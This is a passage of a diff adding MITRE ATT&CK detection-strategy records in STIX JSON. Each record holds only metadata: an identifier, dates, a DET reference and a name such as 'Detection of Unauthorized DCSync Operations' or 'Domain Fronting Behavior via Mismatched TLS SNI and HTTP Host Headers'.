"x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f6dd18b4-8534-4883-8d57-80655418bed4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0220", + "external_id": "DET0220" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of USB-Based Data Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--67ff7cc5-7b9b-4d15-b115-b55c3d164c64", + "x-mitre-analytic--9cf3c7bb-296e-445a-ba30-012060b9ccac", + "x-mitre-analytic--9d7fd025-d8eb-48ab-8fca-df6b09761aec" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3796aa06-65fe-4b9d-9d31-e6491b722632", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0594", + "external_id": "DET0594" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Unauthorized DCSync Operations via Replication API Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9a68f1a7-65f0-4eef-a711-888bccbeb0d5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--faa650c9-a469-45f1-870a-6acc448df9eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0824", + "external_id": "DET0824" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Upload Malware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ef6c517-011e-4155-897f-e86cea5824b4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--80d1271b-a18a-469a-a60a-81d8f468b0e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0834", + "external_id": "DET0834" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Upload Tool", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4403499c-b81c-4d0e-896c-67178547ac18" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a6245075-b59f-46cf-8b76-e8d95c378a22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560", + "external_id": "DET0560" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Valid Account Abuse Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f9c3a686-2894-498d-9d04-7ac510752e1f", + "x-mitre-analytic--6cf46787-028d-4ac8-9dfa-58682edb3625", + "x-mitre-analytic--d059a437-bf45-4b10-a36c-7e42e183d3c7", + "x-mitre-analytic--aa255cdc-0b49-4ad3-951d-eab5582da56f", + "x-mitre-analytic--dc062a09-572e-41fc-bfff-f654751a6a0f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6e53a352-9654-41fe-bf43-50e6b23a4ac1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0838", + "external_id": "DET0838" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Virtual Private Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4884ba77-1420-4093-9dba-65e881f6dca5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cfcbb930-2395-4f7a-b95c-6b2736679c81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0854", + "external_id": "DET0854" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Virtual Private Server", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4dbe3d83-4e01-455f-94f2-a1a31b410b47" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--80741edd-b775-4c33-91a2-4a0d1ee4f6bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0808", + "external_id": "DET0808" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Vulnerabilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--193167de-400a-4ea3-a8db-93e4bf628068" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--574d055c-4501-4f4d-9b28-1109ad07a087", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0867", + "external_id": "DET0867" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Vulnerability Scanning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f2f01ea3-a59c-42b1-b934-83065ae1f785" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--92955a28-74fb-4f60-834a-10dc93377140", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0832", + "external_id": "DET0832" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of WHOIS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b5842814-7d1b-484d-acd8-d1f776c6851f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e6496b9b-2458-4616-9712-a7c0da7fd3bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027", + "external_id": "DET0027" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--04fe83c3-d8d3-4c96-91a4-9167fa8f405a", + "x-mitre-analytic--cba23232-7fae-47df-bd83-0ca5a5066373", + "x-mitre-analytic--5ff3ae40-d326-4eae-9bc5-c77ddcb6cb6e", + "x-mitre-analytic--38205f16-18da-4d04-ae54-f5143b75c938", + "x-mitre-analytic--1f1ed319-a6f9-4f30-9254-e0b1927a6bd9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--71b2e30c-f793-42a8-85be-f782c908772c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0896", + "external_id": "DET0896" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e6500f0c-41bd-4e04-ad9d-4a3121803175" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f33df6a5-7f05-415c-9971-18918c8ed4fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0882", + "external_id": "DET0882" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--da084995-0644-4152-a72d-44034845173a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--26fdbcb2-abc1-4844-8e5d-2c6039336cb7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0509", + "external_id": "DET0509" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dd105985-5d61-43f0-b69b-b4fd52632257", + "x-mitre-analytic--9bcedfe7-c851-418a-b709-dd8883c7fc5e", + "x-mitre-analytic--3fdd7ef4-b382-4880-9f72-bf0ad696af85", + "x-mitre-analytic--916993bd-600a-43e2-abbf-30c56be84459", + "x-mitre-analytic--5e1d71ce-5653-4580-a609-9832c88e2c87" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c7d19c6f-a7f8-4323-af57-c626ccb74d88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0552", + "external_id": "DET0552" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Windows Service Creation or Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ffaa281c-dd99-486d-bc7f-225580f784f4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--95d3b171-2fc3-4e58-a5c9-4d98c3691c88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0868", + "external_id": "DET0868" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Wordlist Scanning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--56622fce-489a-4ed9-b1fb-e525939667d4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e5eff2eb-4a41-44d1-9c79-4977fb73f569", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0055", + "external_id": "DET0055" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection strategy for Group Policy Discovery on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bf5772b8-86b4-4d73-bbff-6abb5da9edac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6e1ea095-9f21-4544-8e9b-4fab2668033e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0343", + "external_id": "DET0343" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Direct Network Flood Detection across IaaS, Linux, Windows, and macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0de81d5a-ffba-4eba-915d-c4f4d8b30f9a", + "x-mitre-analytic--a94c1081-d66b-4009-95a9-247721fcd394", + "x-mitre-analytic--a82a14f4-6fc9-43b5-b183-68af3cb075a2", + "x-mitre-analytic--408b2724-079c-4636-9764-52f435726de7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--84dfca59-e541-48a8-bb95-d7581a8f48d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487", + "external_id": "DET0487" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Distributed Password Spraying via Authentication Failures Across Multiple Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5ef73ed0-313e-4b9b-b616-8c2d02f4151a", + "x-mitre-analytic--2b751817-3de2-4388-b8b9-d43b5ecda671", + "x-mitre-analytic--36c2c2fb-0bea-40fe-9032-c0758d381de5", + "x-mitre-analytic--0527196a-1551-445c-bdd7-943dfda9b718", + "x-mitre-analytic--c35bd9de-acd9-41f9-9e4f-2a3aad461de6", + "x-mitre-analytic--70500794-7d3d-4538-8e88-ed6d5e998a8a", + "x-mitre-analytic--cfffc717-79f1-4aea-9e68-475ef52db11d", + "x-mitre-analytic--c4a0d95a-2dfc-4b03-830e-d0dafca0be6f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--50569af3-7910-4591-977e-cbf4caa12cfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0129", + "external_id": "DET0129" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Domain Account Enumeration Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8f0ac116-4c8a-4819-b7c0-744e05d672c9", + "x-mitre-analytic--4bad86cf-6cab-46f4-8748-28dc8c8ec81b", + "x-mitre-analytic--ef50b854-172a-457b-9d0e-c95d9835eaaa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--92203cb2-b7bd-4bc3-ab6f-9859a9856efc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0196", + "external_id": "DET0196" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e5cb92b6-75b0-4eed-aa1e-4ea529f50fbb", + "x-mitre-analytic--e031d1a5-92a9-46df-9467-d6899d48f57b", + "x-mitre-analytic--b4cf91ba-a22b-49b4-978e-32c3e1301c74", + "x-mitre-analytic--4192b311-da7a-4ef1-b09a-a03a8c2a1670" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a070f9d2-3480-4362-99b3-8b36f5be0189", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0176", + "external_id": "DET0176" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive-by Compromise \u2014 Behavior-based, Multi-platform Detection Strategy (T1189)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--35701083-a327-4f68-a426-13751b9743c3", + "x-mitre-analytic--32b5b330-2a40-4117-8999-395c23490614", + "x-mitre-analytic--230a55ce-4584-4588-a006-5532a9efdbd8", + "x-mitre-analytic--3154acf3-a5df-40bd-b4bc-3a210b6e5e0e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2470975e-6748-42a5-9a48-74dc7b687fe9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0476", + "external_id": "DET0476" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Email Collection via Local Email Access and Auto-Forwarding Behavior", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4f15b707-9b44-4716-bfcd-e3f28659077b", + "x-mitre-analytic--ba43428d-b5d2-4815-a614-42ff1ea816a9", + "x-mitre-analytic--ae581308-5c1f-40b9-ae6e-51c375821476", + "x-mitre-analytic--2faaefb9-7816-4eb5-a9f5-b4006c99c20b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f66a9e86-49fb-4de6-963d-0e357a77f679", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0576", + "external_id": "DET0576" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Email Forwarding Rule Abuse Detection Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fe489775-b01e-4da2-a0e2-962d1572ba09", + "x-mitre-analytic--c93edcb2-385a-4472-a9db-ace5371250eb", + "x-mitre-analytic--710aa303-3e9f-4170-95a4-b2caf5f827fd", + "x-mitre-analytic--22e6f5f4-e4cc-449c-9dba-280788935ce5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d70b8fdd-de14-4143-a350-56e3b885b37b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0087", + "external_id": "DET0087" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Encrypted or Encoded File Payload Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4f985435-9144-4a8f-aca0-598f788855b7", + "x-mitre-analytic--e9de9003-46e9-438f-929a-94a33c2eb5bd", + "x-mitre-analytic--0e832ea1-a261-4bdd-8fc8-ae049468c347" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bdf67026-8adb-41da-9a58-c9acba4da1f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0356", + "external_id": "DET0356" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Endpoint DoS via OS Exhaustion Flood Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cecfe3bc-525a-431e-8ee1-5133ab8ce79c", + "x-mitre-analytic--fde025ac-a180-472c-a9b5-b4fa1e97cc75", + "x-mitre-analytic--4db0f97c-a0c4-4c96-af56-86c6b227ea42" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + 